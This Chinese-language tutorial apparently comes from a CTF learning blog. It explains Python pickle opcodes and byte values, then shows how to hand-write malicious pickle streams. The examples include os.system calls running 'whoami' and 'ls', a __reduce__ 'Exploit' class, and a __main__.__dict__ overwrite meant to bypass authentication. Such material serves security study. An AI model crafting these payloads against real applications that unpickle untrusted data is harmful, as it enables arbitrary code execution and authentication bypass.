为了避免混乱,我们先搞清楚一些东西
在 Python 的 pickle
序列化协议中,操作码(Opcode)、字节值 和 序列化后的字节流 是三个密切相关的概念,它们共同定义了对象序列化和反序列化的底层逻辑。以下是它们的定义、关系和具体示例:
操作码(opcode)是人类能看懂的一种字符,操作码是指令的名称,字节值是操作码在二进制数据中的具体体现形式
1. 操作码(Opcode)
定义
- 操作符(Opcode) 是
pickle
协议中预定义的指令符号,表示某种具体的操作(如压栈、导入对象、构建容器等)。 - 每个操作码对应一个人类可读的缩写名称(例如
GLOBAL
、REDUCE
、BININT
),这些名称在pickletools
模块的反汇编输出中可见。
示例
MARK
:标记栈的当前位置,用于后续操作(如构建列表、字典)。GLOBAL
:导入一个全局对象(如模块、函数、类)。BININT1
:将一个 1 字节的整数压入栈。
2. 字节值
定义
- 字节值 是操作码在二进制序列化数据中的具体字节编码。每个操作码对应一个或多个字节的二进制值。
- 不同版本的
pickle
协议可能对操作码的编码方式不同(例如协议 0 使用文本格式,协议 4 使用二进制格式)。
示例
MARK
的字节值在协议 0 中是(
(ASCII 码0x28
)。GLOBAL
的字节值在协议 0 中是c
(ASCII 码0x63
)。BININT1
的字节值在协议 4 中是\x4b
(二进制值0x4b
)。
3. 字节流(序列化后的数据流)
定义
- 字节值 是
pickle
序列化后的二进制数据流,由操作码和附加数据(如字符串、数值等)组成。 - 整个序列化后的字节流是字节值和数据的组合,反序列化时按顺序解析。
示例
序列化一个整数 42
(协议 4):
import pickle
data = pickle.dumps(42, protocol=4)
print(data) # 输出: b'\x80\x04K*.'
\x80\x04
:协议版本 4 的头部(PROTO
操作符)。K*
:BININT1
操作码(\x4b
)和数值42
(*
的 ASCII 码是0x2a
,对应十进制 42)。.
:STOP
操作符,表示结束。
4. 三者关系
逻辑关系
- 操作符(Opcode) 是逻辑指令,定义某个操作(如压栈、调用函数)。
- 操作码(字节值) 是操作符在二进制数据中的具体编码。
- 字节流 是完整的序列化数据,由操作码和数据按协议规则拼接而成。
示例:序列化一个列表 [1, 2]
-
操作符序列:
MARK
→ 标记栈起始位置。BININT1 1
→ 压入整数 1。BININT1 2
→ 压入整数 2。LIST
→ 构建列表。STOP
→ 结束。
-
操作码(协议 4):
PROTO \x80\x04 MARK ( BININT1 \x4b\x01 BININT1 \x4b\x02 LIST ] STOP .
-
字节流:
b'\x80\x04(K\x01K\x02e.'
5. 操作符与字节值的映射表(协议 4 示例)
操作码(Opcode) | 字节值(Hex) | 功能描述 |
---|---|---|
PROTO | \x80 | 声明协议版本 |
MARK | \x28 (( ) | 标记栈位置 |
BININT1 | \x4b (K ) | 压入 1 字节整数 |
LIST | \x5d (] ) | 构建列表 |
GLOBAL | \x63 (c ) | 导入全局对象 |
STOP | \x2e (. ) | 终止序列化 |
6. 如何查看操作码和字节值的对应关系?
方法 1:使用 pickletools
反汇编
import pickle, pickletoolsdata = pickle.dumps([1, 2], protocol=4)
pickletools.dis(data) # 输出操作符和对应的字节值
输出:
0: \x80 PROTO 4 # 操作码 PROTO,字节值 \x802: ( MARK # 操作码 MARK,字节值 (3: K BININT1 1 # 操作码 BININT1,字节值 K (\x4b)5: K BININT1 27: e APPENDS (MARK at 2) # 操作符 APPENDS,字节值 e8: . STOP # 操作符 STOP,字节值 .
方法 2:查阅协议规范
Python 官方文档的 pickle
协议规范中详细列出了所有操作码及其字节值:
- Python Pickle Protocol Documentation
7. 总结
-
操作码(Opcode):逻辑指令,如
GLOBAL
、BININT1
。 -
字节值:操作码在二进制数据中的编码,如
\x63
对应GLOBAL
。 -
字节流:由字节值和数据组成的完整序列化结果。
-
Opcode(操作码) = 助记符(如
MARK
、BINPERSID
)。 -
字节值 = Opcode 的二进制表示(如
0x28
、0x51
)。 -
操作符是模糊术语,应避免使用。
-
关键:操作码是逻辑指令,字节值是物理存储,两者一一对应。
理解这三者的关系,可以帮助你:
- 分析恶意序列化 Payload:通过反汇编查看操作符序列,识别潜在的攻击行为。
- 调试序列化问题:定位序列化失败的具体操作步骤。
- 优化序列化性能:选择高效的操作符和协议版本。
为何需要严格区分?
- 安全分析:恶意 pickle 数据通过字节值隐藏意图(如
R
对应REDUCE
可触发代码执行),需明确操作码逻辑。 - 协议兼容性:不同协议中同一操作码的字节值可能不同(如
GLOBAL
在协议 0 中是(c)
,在协议 1+ 中是0x93
)。 - 可读性:直接操作字节值对机器友好,但人类需借助助记符(opcode)理解逻辑。
opcode
opcode介绍
pickle由于有不同的实现版本,在py3和py2中得到的opcode不相同。但是pickle可以向下兼容(所以用v0就可以在所有版本中执行)。目前,pickle有6种版本。
常用opcode
首先说明一下
- 十六进制显示:表示高版本协议新增的非 ASCII 操作码(如
\x80
)。 - 字符显示:表示协议 0 操作码或字节值恰好为 ASCII 字符的操作码(如
(
、K
)。
在Python的 pickle.py 中,我们能够找到所有的opcode及其解释,常用的opcode的字节值如下,这里我们以V0版本为例
以下是操作码的字节值整理后的表格:
现在不用太详细理解这个表格,实战编写就知道了。
字节值 | 描述 | 示例 | 操作 |
---|---|---|---|
c | 获取一个全局对象或import一个模块 | c[module]\n[instance]\n | 获得的对象入栈 |
o | 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) | o | 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈 |
i | 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) | i[module]\n[callable]\n | 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈 |
N | 实例化一个None | N | 获得的对象入栈 |
S | 实例化一个字符串对象 | S’xxx’\n(也可以使用双引号、'等python字符串形式) | 获得的对象入栈 |
V | 实例化一个UNICODE字符串对象 | Vxxx\n | 获得的对象入栈 |
I | 实例化一个int对象 | Ixxx\n | 获得的对象入栈 |
F | 实例化一个float对象 | Fx.x\n | 获得的对象入栈 |
R | 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 | R | 函数和参数出栈,函数的返回值入栈 |
. | 程序结束,栈顶的一个元素作为pickle.loads()的返回值 | . | 无 |
( | 向栈中压入一个MARK标记 | ( | MARK标记入栈 |
t | 寻找栈中的上一个MARK,并组合之间的数据为元组 | t | MARK标记以及被组合的数据出栈,获得的对象入栈 |
) | 向栈中直接压入一个空元组 | ) | 空元组入栈 |
l | 寻找栈中的上一个MARK,并组合之间的数据为列表 | l | MARK标记以及被组合的数据出栈,获得的对象入栈 |
] | 向栈中直接压入一个空列表 | ] | 空列表入栈 |
d | 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) | d | MARK标记以及被组合的数据出栈,获得的对象入栈 |
} | 向栈中直接压入一个空字典 | } | 空字典入栈 |
p | 将栈顶对象储存至memo_n | pn\n | 无 |
g | 将memo_n的对象压栈 | gn\n | 对象被压栈 |
0 | 丢弃栈顶对象 | 0 | 栈顶对象被丢弃 |
b | 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 | b | 栈上第一个元素出栈 |
s | 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 | s | 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新 |
u | 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 | u | MARK标记以及被组合的数据出栈,字典被更新 |
a | 将栈的第一个元素append到第二个元素(列表)中 | a | 栈顶元素出栈,第二个元素(列表)被更新 |
e | 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 | e | MARK标记以及被组合的数据出栈,列表被更新 |
opcode操作码的编写
为什么编写?
当然是为了:
- 任意代码执行或命令执行。
- 变量覆盖,通过覆盖一些凭证达到绕过身份验证的目的。
- 反序列化时,Pickle 虚拟机会逐条执行 Opcode,动态重建对象。这一过程可能执行任意代码!
我们都知道,pickle序列化后的东西是二进制的字节流,对于机器来讲很高效,但对人类来说很难看懂,所以上面我们介绍了一个叫pickletools的工具,可以帮助我们阅读pickle序列化后的内容
如果您的目的不止阅读,还有编写,下面我们讨论对操作码的编写
pickle
使用 操作码(opcode) 来定义序列化过程中的指令和格式。操作码是表示某些作(如存储对象、读取对象等)的指令,它们以字节的形式存储在 pickle 数据流中。
首先,我们应该清楚地知道一些事情:
操作码的核心作用
每个操作码描述的是 如何操作栈(Stack)和构造对象,而非直接对应某个对象类型
操作码的分类
操作码的行为可分为以下几类:
- 数据压栈:将原始数据(如整数、字符串)压入栈。
- 例如:
BININT1
,BINUNICODE
,BINFLOAT
。
- 例如:
- 容器构建:从栈中弹出元素构建容器对象(如列表、字典、元组)。
- 例如:
LIST
,DICT
,TUPLE
。
- 例如:
- 对象构造:处理类实例、函数、模块等复杂对象。
- 例如:
GLOBAL
(导入模块和类)、REDUCE
(调用构造函数)。
- 例如:
- 栈操作:管理栈的状态(如标记、合并、引用)。
- 例如:
MARK
,POP
,DUP
。
- 例如:
- 流程控制:控制序列化/反序列化的流程。
- 例如:
PROTO
(声明协议版本)、STOP
(结束解析)。
- 例如:
[[opcode编写例子]] 直接看例子可以快速帮助理解,可惜不能直接写在这,不然会造成顺序 混乱
提前在这里说一些 ,最终我们手搓的话 会利用字节值,进行编写,类似:
opcode1 = b'''cos
system
(S'whoami'
tR.
'''
如何手写opcode
- 在CTF中,很多时候需要一次执行多个函数或一次进行多个指令,此时就不能光用
__reduce__
来解决问题(reduce一次只能执行一个函数,当exec被禁用时,就不能一次执行多条指令了),而需要手动拼接或构造opcode了。手写opcode是pickle反序列化比较难的地方。 - 在这里可以体会到为何pickle是一种语言,直接编写的opcode灵活性比使用pickle序列化生成的代码更高,只要符合pickle语法,就可以进行变量覆盖、函数执行等操作。
- 根据前文不同版本的opcode可以看出,版本0的opcode更方便阅读,所以手动编写时,一般选用版本0的opcode。
手动构造 pickle opcode(手搓 opcode)需要对 Python pickle 协议的底层机制有深刻理解,并严格遵循其字节码规范。以下是核心要点和步骤:
1. 理解协议基础
- 基于栈的操作:Pickle 协议通过栈结构管理数据,操作符(opcode)会按顺序压入/弹出栈中的元素。
- 协议版本:不同协议版本(如
protocol=0
和protocol=4
)的 opcode 可能不同,需明确目标版本(默认是当前 Python 版本的最高协议)。 - 操作符分类:
- 数据压栈:
INT
(整数)、STRING
(字符串)、BININT
(二进制整数)等。 - 对象操作:
GLOBAL
(导入模块/类)、REDUCE
(调用函数)、BUILD
(构建对象)等。 - 流程控制:
MARK
(标记栈位置)、TUPLE
(生成元组)、DICT
(生成字典)等。
- 数据压栈:
2. 关键操作符解析
以下是常见手搓场景中的关键操作符:
(1) 导入模块/类/函数
c
操作符(GLOBAL
):b'c__main__\nA\n' # 导入 __main__.A 类
- 语法:
c<module>\n<name>\n
- 作用:从指定模块导入类、函数或变量。
- 语法:
(2) 构建参数
(
(MARK)和t
(TUPLE):b'(I42\nS"data"\ntR' # 构造元组 (42, "data")
(
标记栈的起始位置,t
将标记后的所有元素打包为元组。
d
(DICT)和b
(BUILD):b'(S"key"\nS"value"\ndb' # 构建字典 {"key": "value"} 并更新对象属性
(3) 函数调用与对象实例化
R
(REDUCE):b'cos\nsystem\n(S"ls"\ntR' # 调用 os.system("ls")
- 作用:弹出栈顶的函数和参数元组,执行
func(*args)
。
- 作用:弹出栈顶的函数和参数元组,执行
i
(INST)和o
(OBJ):b'(i__main__\nA\nI42\no' # 实例化 __main__.A(42)
3. 手搓 opcode 步骤
步骤 1:目标拆解
明确要实现的操作,例如:
- 调用
os.system("ls")
- 覆盖全局变量
secret = "hacked"
- 实例化一个类
A(42)
步骤 2:栈操作设计
按执行顺序模拟栈的变化:
- 调用
os.system("ls")
:c
压入os.system
函数(
标记参数开始S"ls"
压入参数t
打包为元组R
调用函数
步骤 3:拼接操作符
按栈顺序拼接 opcode:
opcode = (b'cos\nsystem\n' # 导入 os.systemb'(S"ls"\n' # 参数开始(字符串 "ls")b'tR' # 打包元组并调用
)
步骤 4:验证与调试
使用 pickletools
反编译验证:
import pickletools
pickletools.dis(opcode)
输出示例:
0: c GLOBAL 'os system'11: ( MARK12: S STRING 'ls'18: t TUPLE (MARK at 11)19: R REDUCE20: . STOP
4. 常见技巧与陷阱
技巧
- 直接使用二进制语法:
b'VALUE' # 直接编写字节,如 b'I42\n' 表示整数 42
- 利用
__reduce__
方法:
如果一个类定义了__reduce__
,序列化时会调用它,可构造任意代码执行:class Exploit:def __reduce__(self):import osreturn (os.system, ("ls",))
- 变量覆盖:
通过修改__main__
模块的__dict__
覆盖全局变量:b'c__main__\n__dict__\n(S"secret"\nS"hacked"\ndb'
陷阱
- 协议版本兼容性:
protocol=0
使用文本格式(如I42
),而高版本协议(如protocol=4
)可能使用二进制编码(如BININT1
)。
- 栈不平衡:
- 操作符必须严格匹配栈状态(如
MARK
必须对应TUPLE
或DICT
)。
- 操作符必须严格匹配栈状态(如
- 字符串转义:
- 字符串中的换行符需用
\n
表示,如S"hello\nworld"
。
- 字符串中的换行符需用
5. 安全警告
- 反序列化风险:永远不要反序列化不受信任的 pickle 数据!攻击者可构造恶意 opcode 实现任意代码执行。
- 仅用于研究:手搓 opcode 通常用于安全研究或协议调试,不可用于生产环境。
总结
手搓 opcode 的核心是:
- 理解栈操作逻辑
- 掌握关键操作符(如
c
,(
,t
,R
) - 精确拼接字节流
- 用
pickletools
调试验证
通过模拟栈的变化和操作符组合,可以实现任意 Python 对象的序列化行为,但需极度谨慎对待安全问题。
手搓举例
具体编写payload需要自己写脚本
可以做做xyctf2024-web login
Pker对opcode操作码的利用
这里打算单开文章
参考文章
深入理解pickle:序列化、操作码与漏洞利用-CSDN博客
探究Pker对opcode字节码的利用-CSDN博客
文章 - 抽象语法树在PVM中的应用,从Python沙箱逃逸看PICKLE作码 - 先知社区 (aliyun.com)
Python_pickle反序列化 (osthing.github.io)
文章 - 探究Pker对opcode字节码的利用 - 先知社区 (aliyun.com)
CTF题型 Python中pickle反序列化进阶利用&;例题&;opache绕过_python pickle ctf-CSDN博客